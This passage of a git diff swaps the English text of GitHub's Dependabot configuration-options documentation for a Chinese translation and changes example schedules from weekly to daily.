changes to your manifest file(s) after a failed update, or {% data variables.product.prodname_dependabot_security_updates %}. For more information, see "[Frequency of {% data variables.product.prodname_dependabot %} pull requests](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates#frequency-of-dependabot-pull-requests)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." +注意:`schedule` 定义 {% data variables.product.prodname_dependabot %} 尝试新更新的时间。 但是,这不是您可收到拉取请求的唯一时间。 可以基于对 `dependabot.yml` 文件所做的更改、在更新失败后对清单文件的更改或 {% data variables.product.prodname_dependabot_security_updates %} 触发更新。 有关详细信息,请参阅“[{% data variables.product.prodname_dependabot %} 拉取请求的频率](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates#frequency-of-dependabot-pull-requests)”和“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)”。 {% endnote %} @@ -166,18 +162,18 @@ updates: {% data reusables.dependabot.default-dependencies-allow-ignore %} -Use the `allow` option to customize which dependencies are updated. This applies to both version and security updates. You can use the following options: +使用 `allow` 选项自定义更新的依赖项。 这适用于版本和安全更新。 您可以使用下列选项: -- `dependency-name`—use to allow updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId`, for example: `org.kohsuke:github-api`. -- `dependency-type`—use to allow updates for dependencies of specific types. +- `dependency-name` - 用于允许具有匹配名称的依赖项的更新,可以选择使用 `*` 匹配零个或多个字符。 对于 Java 依赖项,`dependency-name` 属性的格式为 `groupId:artifactId`,例如:`org.kohsuke:github-api`。 +- `dependency-type` - 用于允许特定类型的依赖项的更新。 - | Dependency types | Supported by package managers | Allow updates | + | 依赖项类型 | 支持的包管理器 | 允许更新 | |------------------|-------------------------------|--------| - | `direct` | All | All explicitly defined dependencies. | - | `indirect` | `bundler`, `pip`, `composer`, `cargo` | Dependencies of direct dependencies (also known as sub-dependencies, or transient dependencies).| - | `all` | All | All explicitly defined dependencies. For `bundler`, `pip`, `composer`, `cargo`, also the dependencies of direct dependencies.| - | `production` | `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Production dependency group". | - | `development`| `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | Only dependencies in the "Development dependency group". | + | `direct` | All | 所有明确定义的依赖项。 | + | `indirect` | `bundler`, `pip`, `composer`, `cargo` | 直接依赖关系的依赖项(也称为子依赖项或暂时依赖项)。| + | `all` | All | 所有明确定义的依赖项。 对于 `bundler`、`pip`、`composer`、`cargo`,还包括直接依赖项的依赖项。| + | `production` | `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | 仅“产品依赖项组”中的依赖项。 | + | `development`| `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` | 仅“产品依赖项组”中的依赖项。 | ```yaml # Use `allow` to specify which dependencies to maintain @@ -187,7 +183,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" allow: # Allow updates for Lodash - dependency-name: "lodash" @@ -197,7 +193,7 @@ updates: - package-ecosystem: "composer" directory: "/" schedule: - interval: "weekly" + interval: "daily" allow: # Allow both direct and indirect updates for all packages - dependency-type: "all" @@ -205,7 +201,7 @@ updates: - package-ecosystem: "pip" directory: "/" schedule: - interval: "weekly" + interval: "daily" allow: # Allow only direct updates for # Django and any packages starting "django" @@ -218,7 +214,7 @@ updates: ### `assignees` -Use `assignees` to specify individual assignees for all pull requests raised for a package manager. +使用 `assignees` 为针对包管理器提出的所有拉取请求指定单个代理人。 {% data reusables.dependabot.option-affects-security-updates %} @@ -230,7 +226,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Add assignees assignees: - "octocat" @@ -238,19 +234,19 @@ updates: ### `commit-message` -By default, {% data variables.product.prodname_dependabot %} attempts to detect your commit message preferences and use similar patterns. Use the `commit-message` option to specify your preferences explicitly. +默认情况下,{% data variables.product.prodname_dependabot %} 会尝试检测您的提交消息首选项并使用类似的模式。 使用 `commit-message` 选项可显式指定首选项。 -Supported options +支持的选项 {% note %} -**Note:** The `prefix` and the `prefix-development` options have a {% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %}50{% elsif ghes < 3.8 or ghae < 3.8 %}15{% endif %} character limit. +注意:`prefix` 和 `prefix-development` 选项具有 15 个字符的限制。 {% endnote %} -- `prefix` specifies a prefix for all commit messages. -- `prefix-development` specifies a separate prefix for all commit messages that update dependencies in the Development dependency group. When you specify a value for this option, the `prefix` is used only for updates to dependencies in the Production dependency group. This is supported by: `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`. -- `include: "scope"` specifies that any prefix is followed by a list of the dependencies updated in the commit. +- `prefix` 指定所有提交消息的前缀。 +- `prefix-development` 为更新开发依赖项组中的依赖项的所有提交消息指定单独的前缀。 为该选项指定值时,`prefix` 仅用于更新生产依赖项组中的依赖项。 这由 `bundler`、`composer`、`mix`、`maven`、`npm` 和 `pip` 支持。 +- `include: "scope"` 指定任何前缀都后跟提交中更新的依赖项列表。 {% data reusables.dependabot.option-affects-security-updates %} @@ -262,7 +258,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" commit-message: # Prefix all commit messages with "npm" prefix: "npm" @@ -270,7 +266,7 @@ updates: - package-ecosystem: "composer" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Prefix all commit messages with "Composer" # include a list of updated dependencies commit-message: @@ -280,7 +276,7 @@ updates: - package-ecosystem: "pip" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Include a list of updated dependencies # with a prefix determined by the dependency group commit-message: @@ -288,33 +284,33 @@ updates: prefix-development: "pip dev" include: "scope" ``` -If you use the same configuration as in the example above, bumping the `requests` library in the `pip` development dependency group will generate a commit message of: +如果使用与上述示例相同的配置,则升级 `pip` 开发依赖项组中的 `requests` 库将生成提交消息: `pip dev: bump requests from 1.0.0 to 1.0.1` - + ### `ignore` {% data reusables.dependabot.default-dependencies-allow-ignore %} -Dependencies can be ignored either by adding them to `ignore` or by using the `@dependabot ignore` command on a pull request opened by {% data variables.product.prodname_dependabot %}. +通过将依赖项添加到 `ignore`,或者对由 {% data variables.product.prodname_dependabot %} 打开的拉取请求使用 `@dependabot ignore` 命令,可以忽略依赖项。 -#### Creating `ignore` conditions from `@dependabot ignore` +#### 从 `@dependabot ignore` 创建 `ignore` 条件 -Dependencies ignored by using the `@dependabot ignore` command are stored centrally for each package manager. If you start ignoring dependencies in the `dependabot.yml` file, these existing preferences are considered alongside the `ignore` dependencies in the configuration. +使用 `@dependabot ignore` 命令忽略的依赖项将针对每个包管理器集中存储。 如果开始忽略 `dependabot.yml` 文件中的依赖项,则这些现有首选项将与配置中的 `ignore` 依赖项一起考虑。 -You can check whether a repository has stored `ignore` preferences by searching the repository for `"@dependabot ignore" in:comments`. If you wish to un-ignore a dependency ignored this way, re-open the pull request. +可以通过在存储库中搜索 `"@dependabot ignore" in:comments` 来检查该存储库是否存储了 `ignore` 首选项。 如果您希望取消忽略以这种方式忽略的依赖项,请重新打开拉取请求。 -For more information about the `@dependabot ignore` commands, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)." +有关 `@dependabot ignore` 命令的详细信息,请参阅“[管理依赖项更新的拉取请求](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)”。 -#### Specifying dependencies and versions to ignore +#### 指定要忽略的依赖项和版本 -You can use the `ignore` option to customize which dependencies are updated. The `ignore` option supports the following options. +可以使用 `ignore` 选项自定义更新的依赖项。 `ignore` 选项支持以下选项。 -- `dependency-name`—use to ignore updates for dependencies with matching names, optionally using `*` to match zero or more characters. For Java dependencies, the format of the `dependency-name` attribute is: `groupId:artifactId` (for example: `org.kohsuke:github-api`). {% ifversion dependabot-grouped-dependencies %} To prevent {% data variables.product.prodname_dependabot %} from automatically updating TypeScript type definitions from DefinitelyTyped, use `@types/*`.{% endif %} -- `versions`—use to ignore specific versions or ranges of versions. If you want to define a range, use the standard pattern for the package manager (for example: `^1.0.0` for npm, or `~> 2.0` for Bundler). -- `update-types`—use to ignore types of updates, such as semver `major`, `minor`, or `patch` updates on version updates (for example: `version-update:semver-patch` will ignore patch updates). You can combine this with `dependency-name: "*"` to ignore particular `update-types` for all dependencies. Currently, `version-update:semver-major`, `version-update:semver-minor`, and `version-update:semver-patch` are the only supported options. Security updates are unaffected by this setting. +- `dependency-name` - 用于忽略具有匹配名称的依赖项的更新,可以选择使用 `*` 匹配零个或多个字符。 对于 Java 依赖项,`dependency-name` 属性的格式为 `groupId:artifactId`(例如:`org.kohsuke:github-api`)。 {% ifversion dependabot-grouped-dependencies %} 要防止 {% data variables.product.prodname_dependabot %} 从 DefinitelyTyped 自动更新 TypeScript 类型定义,请使用 `@types/*`。{% endif %} +- `versions` - 用于忽略特定版本或版本范围。 如果要定义范围,请使用包管理器的标准模式(例如:对于 npm,请使用 `^1.0.0`;对于 Bundler,请使用 `~> 2.0`)。 +- `update-types` - 用于忽略更新类型,例如版本更新的 semver `major`、`minor` 或 `patch` 更新(例如:`version-update:semver-patch` 将忽略修补程序更新)。 可以将其与 `dependency-name: "*"` 相结合,以忽略所有依赖项的特定 `update-types`。 目前,仅支持 `version-update:semver-major`、`version-update:semver-minor` 和 `version-update:semver-patch` 选项。 安全更新不受此设置的影响。 -If `versions` and `update-types` are used together, {% data variables.product.prodname_dependabot %} will ignore any update in either set. +如果结合使用 `versions` 和 `update-types`,{% data variables.product.prodname_dependabot %} 将忽略任一集中的任何更新。 {% data reusables.dependabot.option-affects-security-updates %} @@ -326,7 +322,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" ignore: - dependency-name: "express" # For Express, ignore all updates for version 4 and 5 @@ -340,15 +336,14 @@ updates: {% note %} -**Note**: {% data variables.product.prodname_dependabot %} can only run version updates on manifest or lock files if it can access all of the dependencies in the file, even if you add inaccessible dependencies to the `ignore` option of your configuration file. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors#dependabot-cant-resolve-your-dependency-files)." +注意:{% data variables.product.prodname_dependabot %} 在可以访问文件中的所有依赖项时,只能在清单或锁定文件上运行版本更新,即使你将不可访问的依赖项添加到配置文件的 `ignore` 选项也是如此。 有关详细信息,请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)”和“[排查 {% data variables.product.prodname_dependabot %} 错误](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors#dependabot-cant-resolve-your-dependency-files)”。 {% endnote %} -{% ifversion fpt or ghec or ghes > 3.4 %} -{% note %} +{% ifversion fpt or ghec or ghes > 3.4 %} {% note %} -**Note**: For the `pub` ecosystem, {% data variables.product.prodname_dependabot %} won't perform an update when the version that it tries to update to is ignored, even if an earlier version is available. +注意:对于 `pub` 生态系统,{% data variables.product.prodname_dependabot %} 在其尝试更新到的版本被忽略时不会执行更新,即使有可用早期版本也是如此。 {% endnote %} @@ -356,9 +351,9 @@ updates: ### `insecure-external-code-execution` -Package managers with the `package-ecosystem` values `bundler`, `mix`, and `pip` may execute external code in the manifest as part of the version update process. This might allow a compromised package to steal credentials or gain access to configured registries. When you add a [`registries`](#registries) setting within an `updates` configuration, {% data variables.product.prodname_dependabot %} automatically prevents external code execution, in which case the version update may fail. You can choose to override this behavior and allow external code execution for `bundler`, `mix`, and `pip` package managers by setting `insecure-external-code-execution` to `allow`. +包含 `package-ecosystem` 值 `bundler`、`mix` 和 `pip` 的包管理器可能会在版本更新过程中在清单中执行外部代码。 这可能允许受损害的软件包窃取凭据或访问已配置的注册。 在 `updates` 配置中添加 [`registries`](#registries) 设置时,{% data variables.product.prodname_dependabot %} 会自动阻止外部代码执行,在此情况下,版本更新可能会失败。 可以选择通过将 `insecure-external-code-execution` 设置为 `allow` 来替代此行为,允许针对 `bundler`、`mix` 和 `pip` 包管理器的外部代码执行。 -You can explicitly deny external code execution, irrespective of whether there is a `registries` setting for this update configuration, by setting `insecure-external-code-execution` to `deny`. +可以通过将 `insecure-external-code-execution` 设置为 `deny` 显式拒绝外部代码执行,而不考虑此更新配置是否有 `registries` 设置。 {% raw %} ```yaml @@ -384,8 +379,8 @@ updates: {% data reusables.dependabot.default-labels %} -Use `labels` to override the default labels and specify alternative labels for all pull requests raised for a package manager. If any of these labels is not defined in the repository, it is ignored. -To disable all labels, including the default labels, use `labels: [ ]`. +使用 `labels` 替代默认标签,并为针对包管理器提出的所有拉取请求指定替代标签。 如果其中任何标签未在仓库中定义,将被忽略。 +若要禁用所有标签(包括默认标签),请使用 `labels: [ ]`。 {% data reusables.dependabot.option-affects-security-updates %} @@ -397,7 +392,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Specify labels for npm pull requests labels: - "npm" @@ -406,7 +401,7 @@ updates: ### `milestone` -Use `milestone` to associate all pull requests raised for a package manager with a milestone. You need to specify the numeric identifier of the milestone and not its label. If you view a milestone, the final part of the page URL, after `milestone`, is the identifier. For example: `https://github.com///milestone/3`. +使用 `milestone` 将针对包管理器提出的所有拉取请求与里程碑相关联。 您需要指定里程碑的数字标识符,而不是其标签。 如果查看里程碑,则 `milestone` 之后的页面 URL 的最后一部分是标识符。 例如:`https://github.com///milestone/3`。 {% data reusables.dependabot.option-affects-security-updates %} @@ -418,16 +413,16 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Associate pull requests with milestone "4" milestone: 4 ``` ### `open-pull-requests-limit` -By default, {% data variables.product.prodname_dependabot %} opens a maximum of five pull requests for version updates. Once there are five open pull requests from {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_dependabot %} will not open any new requests until some of those open requests are merged or closed. Use `open-pull-requests-limit` to change this limit. This also provides a simple way to temporarily disable version updates for a package manager. +默认情况下, {% data variables.product.prodname_dependabot %} 最多打开五个版本更新的拉取请求。 一旦有五个打开的拉取请求,新的请求将被阻止,直到您合并或关闭一些打开的请求,之后可以在后续更新中打开新的拉取请求。 使用 `open-pull-requests-limit` 可以更改此限制。 这也提供了一个简单的方法来暂时禁用包管理器的版本更新。 -This option has no impact on security updates, which have a separate, internal limit of ten open pull requests. +此选项对安全更新没有影响,因为安全更新具有单独的内部限制:10 个打开的拉取请求。 ```yaml # Specify the number of open pull requests allowed @@ -437,23 +432,23 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Disable version updates for npm dependencies open-pull-requests-limit: 0 - package-ecosystem: "pip" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Allow up to 10 open pull requests for pip dependencies open-pull-requests-limit: 10 ``` ### `pull-request-branch-name.separator` -{% data variables.product.prodname_dependabot %} generates a branch for each pull request. Each branch name includes `dependabot`, and the package manager and dependency that are updated. By default, these parts are separated by a `/` symbol, for example: `dependabot/npm_and_yarn/next_js/acorn-6.4.1`. +{% data variables.product.prodname_dependabot %} 为每个拉取请求生成分支。 每个分支名称都包括 `dependabot`,以及更新的包管理器和依赖项。 默认情况下,这些部分由 `/` 符号分隔,例如:`dependabot/npm_and_yarn/next_js/acorn-6.4.1`。 -Use `pull-request-branch-name.separator` to specify a different separator. This can be one of: `"-"`, `_` or `/`. The hyphen symbol must be quoted because otherwise it's interpreted as starting an empty YAML list. +使用 `pull-request-branch-name.separator` 指定不同的分隔符。 这可以是 `"-"`、`_` 或 `/` 之一。 连字符必须用引号括住,否则会解释为开始一个空的 YAML 列表。 {% data reusables.dependabot.option-affects-security-updates %} @@ -465,7 +460,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" pull-request-branch-name: # Separate sections of the branch name with a hyphen # for example, `dependabot-npm_and_yarn-next_js-acorn-6.4.1` @@ -474,32 +469,12 @@ updates: ### `rebase-strategy` -By default, {% data variables.product.prodname_dependabot %} automatically rebases open pull requests when it detects any changes to the pull request. Use `rebase-strategy` to disable this behavior. +默认情况下,{% data variables.product.prodname_dependabot %} 会在检测到拉取请求有任何更改时自动变基打开的拉取请求。 使用 `rebase-strategy` 可以禁用此行为。 -Available rebase strategies +可用的变基策略 -- `auto` to use the default behavior and rebase open pull requests when changes are detected. -- `disabled` to disable automatic rebasing. - -When `rebase-strategy` is set to `auto`, {% data variables.product.prodname_dependabot %} attempts to rebase pull requests in the following cases. -- When you use {% data variables.product.prodname_dependabot_version_updates %}, for any open {% data variables.product.prodname_dependabot %} pull request when your schedule runs. -- When you reopen a closed {% data variables.product.prodname_dependabot %} pull request. -- When you change the value of `target-branch` in the {% data variables.product.prodname_dependabot %} configuration file. For more information about this field, see "[`target-branch`](#target-branch)." -- When {% data variables.product.prodname_dependabot %} detects that a {% data variables.product.prodname_dependabot %} pull request is in conflict after a recent push to the target branch. - -{% note %} - -**Note:** {% data variables.product.prodname_dependabot %} will keep rebasing a pull request indefinitely until the pull request is closed, merged or you disable {% data variables.product.prodname_dependabot_updates %}. - -{% endnote %} - -When `rebase-strategy` is set to `disabled`, {% data variables.product.prodname_dependabot %} stops rebasing pull requests. - -{% note %} - -**Note:** This behavior only applies to pull requests that go into conflict with the target branch. {% data variables.product.prodname_dependabot %} will keep rebasing pull requests opened prior to the `rebase-strategy` setting being changed, and pull requests that are part of a scheduled run. - -{% endnote %} +- `disabled` 用于禁用自动变基。 +- `auto` 用于在检测到更改时使用默认行为并变基打开的拉取请求。 {% data reusables.dependabot.option-affects-security-updates %} @@ -511,16 +486,16 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Disable rebasing for npm pull requests rebase-strategy: "disabled" ``` ### `registries` -To allow {% data variables.product.prodname_dependabot %} to access a private package registry when performing a version update, you must include a `registries` setting within the relevant `updates` configuration. You can allow all of the defined registries to be used by setting `registries` to `"*"`. Alternatively, you can list the registries that the update can use. To do this, use the name of the registry as defined in the top-level `registries` section of the _dependabot.yml_ file. For more information, see "[Configuration options for private registries](#configuration-options-for-private-registries)" below. +若要在执行版本更新时允许 {% data variables.product.prodname_dependabot %} 访问专用包注册表,必须在相关 `updates` 配置中包含 `registries` 设置。 可以通过将 `registries` 设置为 `"*"` 来允许使用所有已定义的注册表。 或者,您可以列出更新可以使用的注册表。 为此,请使用 dependabot.yml 文件的顶级 `registries` 部分中定义的注册表名称。 有关详细信息,请参阅下面的“[专用注册表的配置选项](#configuration-options-for-private-registries)”。 -To allow {% data variables.product.prodname_dependabot %} to use `bundler`, `mix`, and `pip` package managers to update dependencies in private registries, you can choose to allow external code execution. For more information, see [`insecure-external-code-execution`](#insecure-external-code-execution) above. +若要允许 {% data variables.product.prodname_dependabot %} 使用 `bundler`、`mix` 和 `pip` 包管理器更新专用注册表中的依赖项,可以选择允许外部代码执行。 有关详细信息,请参阅上面的 [`insecure-external-code-execution`](#insecure-external-code-execution)。 ```yaml # Allow {% data variables.product.prodname_dependabot %} to use one of the two defined private registries @@ -551,7 +526,7 @@ updates: ### `reviewers` -Use `reviewers` to specify individual reviewers or teams of reviewers for all pull requests raised for a package manager. You must use the full team name, including the organization, as if you were @mentioning the team. +使用 `reviewers` 为针对包管理器提出的所有拉取请求指定单个审阅者或审阅者团队。 必须使用完整的团队名称,包括组织,就像你是 @mentioning 团队一样。 {% data reusables.dependabot.option-affects-security-updates %} @@ -563,7 +538,7 @@ updates: - package-ecosystem: "pip" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Add reviewers reviewers: - "octocat" @@ -573,9 +548,9 @@ updates: ### `schedule.day` -When you set a `weekly` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions on Monday at a random set time for the repository. Use `schedule.day` to specify an alternative day to check for updates. +设置 `weekly` 更新计划时,默认情况下,{% data variables.product.prodname_dependabot %} 会在周一的随机设置时间检查存储库的新版本。 使用 `schedule.day` 可以指定检查更新的备用日期。 -Supported values +支持的值 - `monday` - `tuesday` @@ -600,7 +575,7 @@ updates: ### `schedule.time` -By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.time` to specify an alternative time of day to check for updates (format: `hh:mm`). +默认情况下,{% data variables.product.prodname_dependabot %} 在仓库的随机设置时间检查新版本。 使用 `schedule.time` 可以指定检查更新的备用时间(格式:`hh:mm`)。 ```yaml # Set a time for checks @@ -609,14 +584,14 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Check for npm updates at 9am UTC time: "09:00" ``` ### `schedule.timezone` -By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.timezone` to specify an alternative time zone. The time zone identifier must be from the Time Zone database maintained by [iana](https://www.iana.org/time-zones). For more information, see [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). +默认情况下,{% data variables.product.prodname_dependabot %} 在仓库的随机设置时间检查新版本。 使用 `schedule.timezone` 可以指定备用时区。 时区标识符必须来自 [iana](https://www.iana.org/time-zones) 维护的时区数据库。 有关详细信息,请参阅 [tz 数据库时区列表](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones)。 ```yaml # Specify the timezone for checks @@ -626,7 +601,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" time: "09:00" # Use Japan Standard Time (UTC +09:00) timezone: "Asia/Tokyo" @@ -634,7 +609,7 @@ updates: ### `target-branch` -By default, {% data variables.product.prodname_dependabot %} checks for manifest files on the default branch and raises pull requests for version updates against this branch. Use `target-branch` to specify a different branch for manifest files and for pull requests. When you use this option, the settings for this package manager will no longer affect any pull requests raised for security updates. +默认情况下,{% data variables.product.prodname_dependabot %} 会检查默认分支上的清单文件,并对此分支提出版本更新的拉取请求。 使用 `target-branch` 可以为清单文件和拉取请求指定不同的分支。 使用此选项时,此包管理器的设置将不再影响针对安全更新提出的任何拉取请求。 ```yaml # Specify a non-default branch for pull requests for pip @@ -644,7 +619,7 @@ updates: - package-ecosystem: "pip" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Raise pull requests for version updates # to pip against the `develop` branch target-branch: "develop" @@ -665,7 +640,7 @@ updates: ### `vendor` -Use the `vendor` option to tell {% data variables.product.prodname_dependabot %} to vendor dependencies when updating them. Don't use this option if you're using `gomod` as {% data variables.product.prodname_dependabot %} automatically detects vendoring for this tool. +使用 `vendor` 选项指示 {% data variables.product.prodname_dependabot %} 在更新依赖项时提供其供应商。 如果使用 `gomod`,请勿使用此选项,因为 {% data variables.product.prodname_dependabot %} 会自动检测此工具的供应。 ```yaml # Configure version updates for both dependencies defined in manifests and vendored dependencies @@ -680,34 +655,34 @@ updates: interval: "weekly" ``` -{% data variables.product.prodname_dependabot %} only updates the vendored dependencies located in specific directories in a repository. +{% data variables.product.prodname_dependabot %} 仅更新位于仓库的特定目录中供应的依赖项。 -| Package manager | Required file path for vendored dependencies | More information | +| 程序包管理器 | 供应的依赖项所需的文件路径 | 详细信息 | |------------------|-------------------------------|--------| - | `bundler` | The dependencies must be in the _vendor/cache_ directory.
Other file paths are not supported. | [`bundle cache` documentation](https://bundler.io/man/bundle-cache.1.html) | - | `gomod` | No path requirement (dependencies are usually located in the _vendor_ directory) | [`go mod vendor` documentation](https://golang.org/ref/mod#go-mod-vendor) | + | `bundler` | 依赖项必须位于 vendor/cache 目录中。
不支持其他文件路径。 | [`bundle cache` 文档](https://bundler.io/man/bundle-cache.1.html) | + | `gomod` | 无路径要求(依赖项通常位于 vendor 目录中) | [`go mod vendor` 文档](https://golang.org/ref/mod#go-mod-vendor) | ### `versioning-strategy` -When {% data variables.product.prodname_dependabot %} edits a manifest file to update a version, it uses the following overall strategies: +{% data variables.product.prodname_dependabot %} 在编辑清单文件来更新版本时,使用以下总体策略: -- For apps, the version requirements are increased, for example: npm, pip and Composer. -- For libraries, the range of versions is widened, for example: Bundler and Cargo. +- 对于 app,版本要求会增加,例如:npm、pip 和 Composer。 +- 对于库,版本的范围会扩大,例如: Bundler 和 Cargo。 -Use the `versioning-strategy` option to change this behavior for supported package managers. +使用 `versioning-strategy` 选项可以更改受支持的包管理器的此行为。 {% data reusables.dependabot.option-affects-security-updates %} -Available update strategies +可用的更新策略 -| Option | Supported by | Action | +| 选项 | 支持的服务 | 操作 | |--------|--------------|--------| -| `lockfile-only` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Only create pull requests to update lockfiles. Ignore any new versions that would require package manifest changes. | -| `auto` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Follow the default strategy described above.| -| `widen`| `composer`, `npm` | Relax the version requirement to include both the new and old version, when possible. | -| `increase`| `bundler`, `composer`, `npm`{% ifversion dependabot-increase-version-pip-support %}, `pip`{% endif %} | Always increase the version requirement to match the new version. | -| `increase-if-necessary` | `bundler`, `composer`, `npm`{% ifversion dependabot-increase-version-pip-support %}, `pip`{% endif %} | Increase the version requirement only when required by the new version. | +| `lockfile-only` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | 仅创建用于更新 lockfiles 的拉取请求。 忽略任何需要包清单更改的新版本。 | +| `auto` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | 遵循上述默认策略。| +| `widen`| `composer`, `npm` | 尽可能放宽版本要求,以包括新旧版本。 | +| `increase`| `bundler`, `composer`, `npm` | 始终增加版本要求以匹配新版本。 | +| `increase-if-necessary` | `bundler`, `composer`, `npm` | 仅当新版本需要时才增加版本要求。 | ```yaml # Customize the manifest version strategy @@ -717,7 +692,7 @@ updates: - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Update the npm manifest file to relax # the version requirements versioning-strategy: widen @@ -725,7 +700,7 @@ updates: - package-ecosystem: "composer" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Increase the version requirements for Composer # only when required versioning-strategy: increase-if-necessary @@ -733,23 +708,23 @@ updates: - package-ecosystem: "pip" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Only allow updates to the lockfile for pip and # ignore any version updates that affect the manifest versioning-strategy: lockfile-only ``` -## Configuration options for private registries +## 私人注册的配置选项 -The top-level `registries` key is optional. It allows you to specify authentication details that {% data variables.product.prodname_dependabot %} can use to access private package registries. +顶级 `registries` 项是可选的。 它允许您指定 {% data variables.product.prodname_dependabot %} 可用于访问私人包注册表的身份验证详细信息。 {% note %} -**Note:** Private registries behind firewalls on private networks are not supported. +注意:不支持专用网络上防火墙后面的专用注册表。 {% endnote %} -The value of the `registries` key is an associative array, each element of which consists of a key that identifies a particular registry and a value which is an associative array that specifies the settings required to access that registry. The following *dependabot.yml* file, configures a registry identified as `dockerhub` in the `registries` section of the file and then references this in the `updates` section of the file. +`registries` 项的值是一个关联阵列,其中每个元素由一个标识特定注册表的键和一个为关联阵列的值组成,该值指定访问该注册表所需的设置。 以下 dependabot.yml 文件在文件的 `registries` 部分配置一个标识为 `dockerhub` 的注册表,然后在文件的 `updates` 部分中引用该注册表。 {% raw %} ```yaml @@ -772,24 +747,24 @@ updates: ``` {% endraw %} -You use the following options to specify access settings. Registry settings must contain a `type` and a `url`, and typically either a `username` and `password` combination or a `token`. +您使用以下选项来指定访问设置。 注册表设置必须包含 `type` 和 `url`,并且通常包含 `username` 和 `password` 组合或 `token`。 -| Option                 | Description | +| 选项                 | 说明 | |:---|:---| -| `type` | Identifies the type of registry. See the full list of types below. | -| `url` | The URL to use to access the dependencies in this registry. The protocol is optional. If not specified, `https://` is assumed. {% data variables.product.prodname_dependabot %} adds or ignores trailing slashes as required. | -| `username` | The username that {% data variables.product.prodname_dependabot %} uses to access the registry. | -| `password` | A reference to a {% data variables.product.prodname_dependabot %} secret containing the password for the specified user. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." | -| `key` | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access key for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." | -| `token` | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access token for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." | -| `replaces-base` | For registries with `type: python-index`, if the boolean value is `true`, pip resolves dependencies by using the specified URL rather than the base URL of the Python Package Index (by default `https://pypi.org/simple`). | +| `type` | 识别注册表的类型。 请参阅下面的完整类型列表。 | +| `url` | 用于访问此注册表中的依赖项的 URL。 协议是可选的。 如果未指定,则假定为 `https://`。 {% data variables.product.prodname_dependabot %} 根据需要添加或忽略尾随斜线。 | +| `username` | {% data variables.product.prodname_dependabot %} 用于访问注册表的用户名。 | +| `password` | 引用包含指定用户密码的 {% data variables.product.prodname_dependabot %} 机密。 有关详细信息,请参阅“[管理 Dependabot 的加密机密](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)”。 | +| `key` | 